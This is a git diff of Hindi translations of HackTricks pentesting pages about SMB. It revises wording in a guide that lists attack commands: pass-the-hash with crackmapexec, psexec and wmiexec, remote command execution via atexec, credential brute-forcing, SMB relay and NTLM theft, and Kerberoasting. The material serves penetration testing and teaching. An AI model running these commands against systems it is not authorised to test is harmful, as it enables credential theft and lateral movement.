-आप **smbclient** और **rpcclient** उपकरणों का उपयोग करके **केर्बेरोस** में **प्रमाणीकरण** कर सकते हैं:
+You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
-crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** का **दुरुपयोग** करके कमांड निष्पादित कर सकता है, जिसमें **wmiexec** **डिफ़ॉल्ट** विधि है। आप पैरामीटर `--exec-method` के साथ यह संकेत कर सकते हैं कि आप कौन सा विकल्प उपयोग करना पसंद करते हैं:
+crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** का **दुरुपयोग** करके कमांड निष्पादित कर सकता है, जिसमें **wmiexec** **डिफ़ॉल्ट** विधि है। आप पैरामीटर `--exec-method` के साथ अपनी पसंद की विकल्प को इंगित कर सकते हैं:
```bash
apt-get install crackmapexec
@@ -378,8 +378,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
-दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** **एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-)।\
-**अधिक जानकारी** [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) और [**smbexec**](../windows-hardening/ntlm/smbexec.md) के बारे में।\
+दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
+**अधिक जानकारी** के लिए [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)और [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -388,11 +388,11 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, बजाय **NTLM** के।
+**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, इसके बजाय **NTLM**।
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
-बिना डिस्क को छुए या नई सेवा चलाए **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
+बिना डिस्क को छुए या नई सेवा चलाए, **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-**पैरामीटर**`-k` का उपयोग करके आप **केरबोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
+**पैरामीटर**`-k` का उपयोग करके आप **केरबेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -409,19 +409,19 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
-कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके)।\
+कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करते हुए)।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
```
-## Impacket संदर्भ
+## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **ब्रूटफोर्स उपयोगकर्ता क्रेडेंशियल्स**
-**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
+**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों को पार करते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
```bash
nmap --script smb-brute -p 445
ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
@@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
-https://book.hacktricks.xyz/pentesting/pentesting-smb
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 6b215dc6e..7fccd91de 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -10,21 +10,21 @@ The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ
```
## Port 445
-तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
+तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
-उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
+उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टमों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
-**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
+**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
-शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
+शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
-IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जिससे नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की जा सके। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
+IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
- ऑपरेटिंग सिस्टम की जानकारी
- माता-पिता डोमेन का विवरण
@@ -48,13 +48,13 @@ enum4linux -a target_ip
## **सर्वर एन्यूमरेशन**
-### **स्कैन** एक नेटवर्क में होस्ट की खोज करते हुए:
+### **स्कैन** करते हुए नेटवर्क में होस्ट की खोज करें:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
-SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
+SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या इस स्क्रिप्ट का उपयोग करें:
@@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
-### **शोध शोषण**
+### **खोज शोषण**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@@ -85,10 +85,10 @@ searchsploit microsoft smb
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
| गेस्ट | _(खाली)_ |
-| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
+| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| आर्कसर्व | आर्कसर्व, बैकअप |
-| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
-| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
+| टिवोली, tmersrvd | टिवोली, tmersrvd, एडमिन |
+| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
### ब्रूट फोर्स
@@ -169,7 +169,7 @@ rpcclient-enumeration.md
### साझा फ़ोल्डरों की सूची
-यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने का प्रयास करें।
+यह हमेशा अनुशंसित है कि देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने की कोशिश करें।
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t
```
### **मैन्युअल रूप से विंडोज़ शेयरों की गणना करें और उनसे कनेक्ट करें**
-यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र का उपयोग कर रहे हों (जैसे, नल सत्र या मान्य क्रेडेंशियल)। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
+यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र (जैसे, नल सत्र या मान्य क्रेडेंशियल) का उपयोग कर रहे हों। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
विंडोज़ लक्ष्यों के लिए सामान्य शेयर नाम हैं
@@ -210,7 +210,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t
- SYSVOL
- NETLOGON
-( _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से सामान्य शेयर नाम)
+(सामान्य शेयर नाम _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से)
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
```bash
@@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
-### **Windows से शेयरों की गणना करें / बिना थर्ड-पार्टी टूल के**
+### **Windows से शेयरों की गणना करें / बिना थर्ड-पार्टी टूल्स के**
PowerShell
```powershell
@@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **फाइलें डाउनलोड करें**
-पंजीकरण/पास-थ-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
+क्रेडेंशियल्स/पास-थी-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
```bash
#Search a file and download
sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -289,18 +289,18 @@ smbclient ///
> mget *
#Download everything to current directory
```
-Commands:
+कमांड:
- mask: निर्दिष्ट करता है कि फ़ाइलों को फ़िल्टर करने के लिए कौन सा मास्क उपयोग किया जाता है (जैसे "" सभी फ़ाइलों के लिए)
- recurse: पुनरावृत्ति को चालू करता है (डिफ़ॉल्ट: बंद)
-- prompt: फ़ाइल नामों के लिए संकेत को बंद करता है (डिफ़ॉल्ट: चालू)
-- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की प्रतिलिपि बनाता है
+- prompt: फ़ाइल नामों के लिए संकेत देने को बंद करता है (डिफ़ॉल्ट: चालू)
+- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की कॉपी करता है
-(_Information from the manpage of smbclient_)
+(_smbclient के मैनपेज से जानकारी_)
-### Domain Shared Folders Search
+### डोमेन साझा फ़ोल्डर्स खोज
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
+- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@@ -313,8 +313,8 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए पासवर्ड **शामिल कर सकती हैं**। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स **शामिल करती हैं**।
> [!NOTE]
-> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट्स** **पाएंगे**।\
-> आपको इसके अंदर की **स्क्रिप्ट्स** की **जांच** करनी चाहिए क्योंकि आप संवेदनशील जानकारी जैसे **पासवर्ड** **पाएंगे**।
+> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
+> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप संवेदनशील जानकारी जैसे **पासवर्ड** **पाएंगे**।
## रजिस्ट्री पढ़ें
@@ -378,8 +378,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
-दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** **एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-)।\
-**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
+दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
+**अधिक जानकारी** [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -388,11 +388,11 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, इसके बजाय **NTLM**।
+**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, बजाय **NTLM** के।
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
-बिना डिस्क को छुए या नई सेवा चलाए **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
+बिना डिस्क को छुए या नई सेवा चलाए, **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-**पैरामीटर**`-k` का उपयोग करके आप **केरबोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
+**पैरामीटर**`-k` का उपयोग करके आप **केर्बेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
-SMB के माध्यम से Task Scheduler के जरिए कमांड निष्पादित करें (_\pipe\atsvc_ का उपयोग करके)।\
+कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके)।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
./atexec.py [[domain/]username[:password]@] "command"
@@ -419,7 +419,7 @@ SMB के माध्यम से Task Scheduler के जरिए कम
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
-## **ब्रूटफोर्स उपयोगकर्ता क्रेडेंशियल्स**
+## **ब्रूटफोर्स उपयोगकर्ताओं के क्रेडेंशियल्स**
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
```bash
@@ -428,14 +428,14 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
-यह हमला Responder toolkit का उपयोग करके **SMB प्रमाणीकरण सत्रों** को आंतरिक नेटवर्क पर **कैप्चर** करता है, और उन्हें **लक्ष्य मशीन** पर **रिले** करता है। यदि प्रमाणीकरण **सत्र सफल** होता है, तो यह स्वचालित रूप से आपको **सिस्टम** **शेल** में ले जाएगा।\
+यह हमला Responder toolkit का उपयोग करके **SMB प्रमाणीकरण सत्रों** को एक आंतरिक नेटवर्क पर **कैप्चर** करता है, और उन्हें एक **लक्ष्य मशीन** पर **रिले** करता है। यदि प्रमाणीकरण **सत्र सफल** होता है, तो यह स्वचालित रूप से आपको एक **सिस्टम** **शेल** में ले जाएगा।\
[**इस हमले के बारे में अधिक जानकारी यहाँ।**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
-Windows पुस्तकालय URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करता है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
+Windows लाइब्रेरी URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करती है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
-यह कार्यों के साथ होता है:
+यह निम्नलिखित कार्यों के साथ होता है:
- URLDownloadToFile
- URLDownloadToCache
@@ -452,7 +452,7 @@ Windows पुस्तकालय URLMon.dll स्वचालित रू
## NTLM Theft
-SMB Trapping के समान, लक्षित प्रणाली पर दुर्भावनापूर्ण फ़ाइलें लगाने (उदाहरण के लिए SMB के माध्यम से) एक SMB प्रमाणीकरण प्रयास को उत्तेजित कर सकती हैं, जिससे NetNTLMv2 हैश को Responder जैसे उपकरण के साथ इंटरसेप्ट किया जा सकता है। हैश को फिर ऑफ़लाइन क्रैक किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
+SMB Trapping के समान, एक लक्षित प्रणाली पर दुर्भावनापूर्ण फ़ाइलें लगाने (SMB के माध्यम से, उदाहरण के लिए) एक SMB प्रमाणीकरण प्रयास को उत्तेजित कर सकती हैं, जिससे NetNTLMv2 हैश को Responder जैसे उपकरण के साथ इंटरसेप्ट किया जा सकता है। हैश को फिर ऑफ़लाइन क्रैक किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
-https://book.hacktricks.xyz/pentesting/pentesting-smb
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index e3fb5e814..982099763 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -4,7 +4,7 @@
## **बुनियादी जानकारी**
